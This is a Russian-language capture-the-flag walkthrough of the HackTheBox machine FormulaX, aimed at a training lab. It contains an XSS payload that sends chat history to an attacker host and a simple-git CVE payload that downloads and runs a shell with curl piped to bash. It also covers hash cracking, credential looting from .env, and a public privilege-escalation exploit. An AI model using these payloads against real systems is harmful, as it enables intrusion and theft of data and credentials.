Автор: @FaLLenSkiLL

Ссылка на тачку HTB:
https://app.hackthebox.com/machines/FormulaX
Разведка
Сканим порты. Видим только SSH и вебчик
nmap 10.10.11.6 -p 22,80 -sC -sV

Заходим на 80 порт

Пробуем зарегистрироваться

Видим жалкую пародию неповторимый оригинал ChatGPT

Пробуем найти какие-нибудь директории
gobuster dir -u http://10.10.11.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -c "authorization=Bearer%20TOKEN"

Из интересного видим только форму отправки сообщений админу

Get www-data
Проверяем наличие XSS

XSS присутствует, ура

Пишем payload
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
socket.on('message', (my_message) => {
fetch("http://10.10.XX.XX:4444/?d=" + btoa(my_message))
});
socket.emit('client_message', 'history');
});
Запускаем php сервер, с которого можно будет скачать наш payload

Эксплуатируем XSS


Декодируем полученный base64

Добавляем домен в /etc/hosts
клац
echo "10.10.11.6 chatbot.htb" | sudo tee -a /etc/hosts
клац
echo "10.10.11.6 dev.git.auto.update.chatbot.htb" | sudo tee -a /etc/hosts
Заходим на новый поддомен

В коде страницы видно, что это simple-git v3.14

На который, кстати, есть CVE

Эксплуатируем CVE
ext::sh -c curl% http://10.10.XX.XX:8001/shell|bash

Получаем shell www-data

User flag
Я сначала по базе запустил linpeas.sh
sudo python3 -m http.server 8000 #Host
curl 10.10.XX.XX:8000/linpeas.sh | sh #Victim
Таким образом можно узнать, что на хосте запущена mongo db
mongo --shell

Немного покопавшись в бдшке, получаем хэш пользователя frank_dorky

Брутим хэш
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
Получаем пароль

Заходим на учетку по ssh

Root flag
Проверим активные порты

3000 порт выглядит подозрительно. Пробросим его себе на тачку
ssh -L 3000:127.0.0.1:3000 [email protected]
Видим LibreNMS

Переходим в /opt/librenms и создаем нового пользователя

Попадаем в панель управления

Чтобы мы могли создавать свои шаблоны, нужно пофиксить ошибку в Webserver

Для этого делаем еще одну запись в /etc/hosts
Клац
echo "127.0.0.1 librenms.com" | sudo tee -a /etc/hosts
Заходим на сайт по доменному имени

Ошибок нет, теперь можем создавать шаблоны

Пихаем shell


В файле .env находим креды от пользователя kai_relay

Подключаемся по ssh
ssh [email protected]


Воспользуемся общедоступным эксплоитом
https://www.exploit-db.com/exploits/46544

Создаем файл /tmp/shell.sh с шеллом
Не забываем сделать его исполняемым
chmod +x /tmp/shell.sh
Запускаем http сервер, с которого можно будет скачать наш shell

После этого на захваченной тачке создаем exploit.py, который мы взяли с exploit-db и запускаем его, с указанием цели

Получаем шелл

Лутаем root флаг
cd /root
cat root.txt
Tags: